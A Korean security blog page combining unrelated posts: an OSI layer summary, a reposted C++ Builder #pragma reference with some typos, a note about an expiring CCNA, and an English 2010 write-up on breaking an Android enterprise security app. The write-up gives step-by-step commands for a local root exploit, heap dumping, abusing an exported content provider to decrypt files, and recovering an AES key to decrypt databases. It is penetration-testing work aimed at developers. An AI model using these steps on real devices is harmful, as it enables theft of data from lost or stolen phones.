보안쟁이-회사원의 일상

1. Physical Layer : 물리적인, 기계적인 정보 등에 관한 자료를 처리하는 계층

2. Datalink Layer : 상위 계층과 Physical Layer의 연계를 담당하는 계층

3. Network Layer : 도착지와 출발지의 주소 설정 및 경로 설정 등을 담당하는계층

4. Transport Layer : 데이터를 분할, 전송, 재조립 등을 담당하는 계층

5. Session Layer : 상대 Application Layer와 내 Application Layer의 연계나 전송 실패에 대한 처리를 담당하는 계층

6. Presentation Layer : 네트워크 자원을 할당, Application Layer에 전달, 자료를 컴퓨터가 이해 가능한 Format으로 바꾸는 기능 등을 담당하는 계층

7. Application Layer : 사용자가 Network 자원을 사용할 수 있도록 해주는 기능을 처리하는 계층
<펌 : http://blog.naver.com/ctpoyou/115601335>

#pragma comment(lib, "ws2_32.lib")







원문은 98년 12월 14일 천리안 프로그래머포럼에 올라온 글이며, 담비라는 분이 작성했다고 한다.

frekbs@chollian.net 이 메일 주소인데.. 천리안 메일을.. 아직도 쓰실리가;; =_=;;

따라서.. 저작권과 관련해서는 허락을 받지 못한 내용이다 -_-;;;

하지만 이런 분께서 공유하려고 올린 글을 퍼 올린다고 문제 될 건 없다고 본다.

담비님께 감사의 말을 전하면서..

    #pragma anon_struct on

    struct S {

       int i;

       struct {  // 익명구조체를 포함한다.

          int   j ;

          float x ;

       };

       class {  // 익명 클래스를 포함한다.

       public:

          long double ld;

       };

    S() { i = 1; j = 2; x = 3.3; ld = 12345.5;}

    };

    #pragma anon_struct off

 

    void main() {

       S mystruct;

       mystruct.x = 1.2;  // 포함된 data에 값을 할당한다.

   }

    #pragma argsused

    void __fastcall TImageForm::FileEditKeyPress(TObject* Sender, Char &Key)

    {     if (Key == 0x13) {

             FileListBox1->ApplyFilePath(FileEdit->Text);

             Key = 0x0;

          }

    }

    위의 예에서는 함수내에서 Sender라는 인수가 사용되지 않았지만 경고 메세지가

    표시되지 않습니다.

      #include 

      void startFunc(void)

      {

          printf("Startup Function.\n");

      }

      #pragma startup startFunc 64 //우선권 64로 시동시에 맨 먼저 호출됩니다.


      void exit Func(void)

      {

          pirntf("Wrapping up execution.\n");

      }

      #pragma exit exitFunc //기본적으로 우선권이 100으로 지정됩니다.


      void main(void)

      {

          printf("This is main.\n");

      }

      #include  // 일반적인 헤더파일

      #pragma hdrstop  // 헤더파일의 리스트는 여기서 끝난다.


      #include "Unit1.h" // 헤더파일의 명시

      //....

      #pragma intrinsic strcpy

      #pragma intrinsic -strcpy

      // msacm.h

      #if defined(UNICODE) && !defined(_UNICODE)

      #ifndef RC_INVOKED

      #pragma message("MSACM.H: defining _UNICODE

                       because application defined UNICODE")

      #endif

      #define _UNICODE

      #endif

      // ustring.h

      #pragma message osl/ustring.h has been replaced by winsys/string.h

      #include 

    // io.h

    #if !defined(RC_INVOKED)


    /* Obsolete functions */

    #pragma obsolete _chmod

    #pragma obsolete _close

    #pragma obsolete _creat

    #pragma obsolete _open

    #pragma obsolete _read

    #pragma obsolete _write


    /* restore default packing */

    #pragma pack(pop)


    #if defined(__STDC__)

    #pragma warn .nak

    #endif


    #endif  /* !RC_INVOKED */

    #pragma warn +xxx

    #pragma warn -yyy

    #pragma warn .zzz

메일을 확인하는데.. 난데 없이 발신자가 CISCO인 메일이 하나 왔다;;

처음에는 피싱인줄 알고 지우려고 했으나..

곰곰히 생각해보니 내가 나쁜놈들이라면... 국가 기관이나 은행 뭐 이런걸로 보내지 CISCO로 보내진 않을꺼라는 생각이 듬과 동시에

살포시 내용을 봤는데..

허거덩.. 내 CCNA는 2011년 07월 31일까지 유효하다는 거다..

내가 처음으로 딴 자격증이 만료가 되는 순간 ㅠㅠ

CCNP를 다서 연장할까? 라는 생각이 들었지만..

그 생각도 잠시..

CISSP이나 CISA 시험 볼 생각을 하니.. 달러 환율에 눈앞이 흐려지더니

결국 포기하기로 마음을 먹었다.

잘자~ 내 라이센스 ㅠㅠ

이제 니가 떠나면 든든한 국내자격증인 정보처리기사만 남겠구나 ㅠㅠ

Last Update: 8th November 2010
Status: Complete (but may expand)

Introduction

This project all started when I was asked to take a look at a software product that was under evaluation. The software ran on mobile devices such as iPhone and Android and allowed end users to securely connect to their organisation from their personal phones. It provided a sandbox environment where company data could be viewed, and it encrypted all of it’s data. It is used by large blue chip companies and the literature claims it was evaluated and cleared by the US Department of Defence as suitable for use. I decided to verify the security myself and spent about 14 hours of my own time at home in which I was able to break the encryption and recover all data.

I cannot name the actual product but I have documented some of my technical notes below. They provide general tips, tricks and techniques that can be used by others to evaluate security of their mobile products. My hope is to also provide information for developers so that they understand where potential weaknesses are, and mitigate accordingly.

Scenario

For reference the main scenario I was working to evaluate was a common one: a user loses their mobile device or it is stolen. Because these devices are not under control of a central IT policy we have to assume that they won’t necessarily have a device level password in place. Therefore I haven’t (yet) looked at bypassing the device lockout screen. In addition, after its first launch the app I’m evaluating runs in the background in a locked state, with the user entering their password to unlock. So the scenario is that I find the device, it is running the security software but it is locked, what data can I retrieve?

Hardware & Software

The hardware I’m using is an HTC Desire running Android 2.2 (Froyo). It was the evaluation platform I had to work with and currently own, I have nothing against Android, in fact I really like it. I think the concepts will be similar for iPhone and most other capable smart phones (except perhaps BlackBerry in some cases). I also used a laptop running Linux.

Accessing The Device

A number of methods can be used to explore the device. For ease of analysis and documentation the device was accessed over USB from a Linux system using debug mode.

First the device needs to have debug mode enabled. Go to:

Settings > Applications > Development > USB Debugging

Then connect the device to the Linux host computer using the USB cable.

The software to use debug mode comes with the Android Software Development Kit which is a free download from Google. The SDK for Linux was simply downloaded and uncompressed.

First we list the devices detected by the Android Debug Bridge (ADB):

user@laptop:# ./adb devices 

List of devices attached 

HT07NPL03993	device

Then we connect to a shell on the device:

user@laptop:# ./adb shell 

$ 

Find out what user level we’re running under:

$ id 

uid=2000(shell) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

We are running as user “shell” which is quite restricted and won’t be able to see much on the system. The next task is to use an exploit to gain root privileges. There are a number of exploits that currently work and a common one was chosen. Note that this is a temporary escalation and is not quite the same as “rooting your device”.

First upload the exploit to an area of the device that allows us write access:

user@laptop:# ./adb push rageagainstthecage-arm5.bin /data/local/tmp/rageagainstthecage-arm5.bin 

117 KB/s (5392 bytes in 0.044s) 

Then log back into the shell, change to the exploit directory, make it executable and run it:

user@laptop:# ./adb shell 

$ cd /data/local/tmp 

$ chmod 0755 rageagainstthecage-arm5.bin 

$ ./rageagainstthecage-arm5.bin 

[*] CVE-2010-EASY Android local root exploit (C) 2010 by 743C 


[*] checking NPROC limit ... 

[+] RLIMIT_NPROC={3319, 3319} 

[*] Searching for adb ... 

[+] Found adb as PID 7325 

[*] Spawning children. Dont type anything and wait for reset! 

...

[*] adb connection will be reset. restart adb server on desktop and re-login. 

Re-login to device:

user@laptop:# ./adb kill-server 

user@laptop:# ./adb shell 

* daemon not running. starting it now on port 5037 * 

* daemon started successfully * 

# 

Find out what user level we’re running under:

#id 

uid=0(root) gid=2000(shell) groups=1003(graphics),1004(input),1007(log),1009(mount),1011(adb),1015(sdcard_rw),3001(net_bt_admin),3002(net_bt),3003(inet)

And we are now root, which makes things a little easier.

Memory Dump

In Android the memory is exposed via procfs in /proc/pid/mem and having root privileges means we can directly read and write the application’s memory and even control flow of execution. The way to do this would be to attach to the app process using ptrace and use /proc/pid/map to get the memory addresses to access.

There is also another way to dump the memory of a process and it is already built into Android. First we change the permissions on a directory so the dump file can be written on the device:

# chmod 777 /data/misc 

Then we find the Process ID of our app (from a fictional company I’ve named Acme):

# ps 

USER     PID   PPID  VSIZE  RSS     WCHAN    PC         NAME 

root      1     0     344    252   c00ce65c 0000d2dc S /init 

root      2     0     0      0     c0076e3c 00000000 S kthreadd 

root      3     2     0      0     c0067fa8 00000000 S ksoftirqd/0 

...

app_74    465   66    133776 42428 ffffffff afd0ebd8 S com.acme.android.afe 

...

root      10679 1     3412   200   ffffffff 0000f474 S /sbin/adbd 

root      10685 10679 744    328   c0065ce4 afd0e88c S /system/bin/sh 

root      10689 10685 892    336   00000000 afd0d97c R ps 

Then send a SIGUSR1 signal to the process which will cause it to dump its memory:

# kill -10 465 

In the /data/misc directory we now have the dump file:

heap-dump-tm1289007218-pid465.hprof 

Now download it onto the laptop for analysis:

user@laptop:# ./adb pull /data/misc/heap-dump-tm1289007218-pid465.hprof . 

1109 KB/s (3656449 bytes in 3.217s) 

This dump file can now be opened in a memory analysis tool such as MAT but I just opened it in a HEX editor to see what it contained. I found that the memory dump contained sensitive data from inside the locked app such as email addresses, file names, server names and more.

A total of seven memory dumps were taken while analysing the app and in all cases potentially sensitive data listed above was present. In two cases the memory dumps also contained the clear text password used to unlock the app. In one dump the password was present once and in the other it was present twice. Although not consistent, when the password is present it could allow for complete compromise of the data stored in app and access into the organisation.

Reverse Engineering the Code

Android applications are mostly Java based which makes it slightly easier than normal to reverse the application code and can speed up analysis greatly. I found some useful links about Android decompiling in a blog post by Jack Mannino, so this part was pretty easy.

The following (free) tools were used:

• Android SDK from Google
• AXMLPrinter2.jar to decode Android’s binary XML format
• dex2jar to convert Android format to regular jar files
• JD (Java Decompiler)

First we get a copy of the app that is running on the device and copy to the laptop using the Android Debug Bridge from the SDK:

user@laptop:# ./adb pull /data/app/com.acme.android.afe-1.apk ./ 

1325 KB/s (5601716 bytes in 4.125s)

The apk file just downloaded is actually a zip file. After unzipping it we convert the manifest file into a readable format:

user@laptop:# java -jar ./AXMLPrinter2.jar AndroidManifest.xml >AndroidManifest.txt 

The manifest contains interesting information like permissions, intent filters, providers and lots more. There is one provider for the app I’m looking at called FileProvider which I’ll come to later:

<provider 

        android:name="com.acme.android.FileProvider" 

        android:authorities="com.acme.android.afe.FileProvider" 

        > 

</provider>

Back in the unzipped application package there is a classes.dex file which contains all of the main code. First this needs to be converted into a jar:

user@laptop:# ./dex2jar.sh classes.dex

This creates classes.dex.dex2jar.jar which again can be unzipped to reveal the compiled class files. These can now be opened up in JD, the Java Decompiler, to reveal a fairly close representation of the original source code. This analysis does not cover a detailed review of the code but on first glance I could see some interesting things such as static salt values (for encryption) and the method for decrypting files stored in the “sandbox” which can be invoked from an external program.

Copying the Application and Data

The app and data were extracted from the running device and migrated to a virtual Android environment. No specific attack was kept in mind for this experiment but one might conclude that it aids analysis by having the app running in a virtual environment completely under the control of the hacker. Although untested it may be possible to run and maintain the app from a PC instead of a handheld, opening it up to new risks. With some further work it may also enable an attacker to retain access to the system even when not in possession of the device. Finally, the state can be continually reverted meaning the app’s ability to lock/wipe itself after a number of failed password attempts is rendered useless.

First I pushed the busybox application to the device which will make copying easier. Then I set the path to busybox:

user@laptop:# ./adb shell 

# export PATH=/data/local/tmp:$PATH 

Change to the data directory and then copy the application data to the SD Card

# cd /data/data

# busybox cp -R com.acme.android.afe /sdcard

Copy the data from the SD Card to the laptop and then push it to the Android emulator (part of the free Android SDK) which is running on the laptop:

user@laptop:# ./adb push com.acme.android.afe /data/data/com.acme.android.afe

Install the application package on the emulator:

user@laptop:# ./adb install com.acme.android.afe-1.apk

Launching the emulator I found the application ran fine.

Manually Invoking User Interface Elements

Android applications contain “activities”. An activity in Android parlance is a single focussed thing that a user can do and almost all activities interact with the user. Generally speaking, an Activity usually has its own window so that the user can interact with it.

The app I’m testing exposes a number of activities which can be enumerated from a number of places. Firstly the manifest XML decoded earlier, then the code that was decompiled and yet another great way is to query the Android system itself. Android maintains package information like Activity/Intent/Service/Provider in the PackageManagerService. You can query the service information from an ADB shell like so:

# dumpsys package > packages.txt

The packages.txt file was copied onto the laptop and searched for com.acme.android. The results showed activities such as:

com.acme.android.SecurityPreferenceActivity: 

	com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity

It is possible to manually launch such an activity from the ADB shell with the following command:

# am start -n com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity 

Starting: Intent { cmp=com.acme.android.afe/com.acme.android.ui.activities.settings.SecurityPreferenceActivity }

The app will then try to switch to the Security Preferences screen. The hope was that even though the app was locked it would allow us to navigate directly to other screens. It seems the app was well implemented in this regard and would only show the unlock screen and the password reset screen. All listed activities were tried with the same result. The app included code in each activity to check if it was in an “unlocked” state and if it wasn’t, it would jump back to the lock screen. This technique could be used to find hidden screens and jump around an application in a way the developer hasn’t anticipated so it is good design that they checked for this. That said, it is of course possible to modify the application in memory to get the unlocked test to always return true, but I did not need to go that far in the end…

Content Providers

There is no common storage area that all Android packages can access but it does allow data sharing using content providers. This is how the app I’m testing shares data with, for example, a PDF reader in order to allow the user to view a PDF stored in the encrypted “sandbox”.

In the reverse engineering section we saw that the manifest file contained one content provider called FileProvider. In the decompiled code I could see this is used to decrypt files on the fly and serve them to external applications when the user wants to view them. The next experiment will look to utilise this function by manually invoking it to decrypt stored files.

The following test was conducted on the Android device with the security app in a locked state:

Change directory to where the app stores encrypted files:

# cd /data/data/com.acme.android.afe/files

First we inspect the contents of one of the files to see if it is really encrypted:

# cat somefile

(binary data displayed)

The file appears to be encrypted. We run the command below with the intention of launching the Android HTMLViewer and requesting the file through the app’s content provider, which should decrypt it on the fly.

# am start -a android.intent.action.VIEW -d content://com.acme.android.afe.FileProvider/files/somefile -t text -n com.android.htmlviewer/.HTMLViewerActivity 


Starting: Intent { act=android.intent.action.VIEW dat=content://com.acme.android.afe.FileProvider/files/somefile typ=text cmp=com.android.htmlviewer/.HTMLViewerActivity }

On the Android device the HTMLViewer pops up and we see that the attachment has been decrypted while the app is locked without entering the password, and then rendered successfully. It was found that the same process could be used to decrypt any file stored by the app.

Stealing the Key

When first started the app does not have access to the data. Entering the password or performing the Reset Password activity decrypts the keys required to access the databases and files. The software stores lots of juicy information in encrypted SQLite databases such as contacts, configuration settings, keys and potentially sensitive data from the organisation.

SQLite is the standard way for Android applications to store data and is built-in, just like the iPhone. The standard SQLite on Android does not yet offer encryption but there are a few implementations out there including one from the makers of SQLite themselves, for a fee.

The app uses Java Native Interface to hook into a natively compiled SQLite library sitting in:

/data/data/com.acme.android.afe/lib/libdb.so

When the user enters the correct password the app initialises the database session using this modified version of SQLite 3.

Analysis of the library shows that as well as SQLite it includes functions for implementing AES encryption in CBC mode for transparently encrypting/decrypting the database files. It was similar to the open source encrypted SQLite offerings I found but not exactly the same. One similar thing I found is that when calling the library to execute SQL statements the application needs to set a PRAGMA value as:

PRAGMA hexkey='<databasekey>'

This database key is derived from decrypting (using the user’s password or reset password) the key held in the file:

/data/data/com.acme.android.afe/shared_prefs/prefs.xml

The device under evaluation had the app running and in a locked state. As shown in the Memory Dump section it was trivial to dump the memory of the running process. In every single case the memory dump contained the database key in clear text! The key didn’t change between memory dumps even after changing the password and rebooting the device. This really is the weak link. With all the fancy encryption functionality it all came down to exposing the database encryption key when calling the SQLite library and leaving it in memory.

The database key was a hex encoded string of a 24 byte key (i.e. 48 bytes), meaning that it was likely a 192bit AES key.

The app database files are held on the device in:

/data/data/com.acme.android.afe/databases/

The databases were copied to the Linux laptop and OpenSSL was then run to decrypt the databases with the key from the memory dump. An “IV” should also be supplied here but it appears one was not used so I set it to zero:

user@laptop:# openssl aes-192-cbc -in someDB.db -out someDB.db.dec -K 0123456789ABCFEF0123456789ABCFEF0123456789ABCFEF -iv 0 -d 

bad decrypt 

26402:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:330: 

There were some errors in the decryption, however when viewing the resulting file the contents of previously encrypted content (even content I thought I had deleted), keys, configuration and more were there in clear text.

At this point I stopped my evaluation as it was game over. Hope these tips and tricks help you out.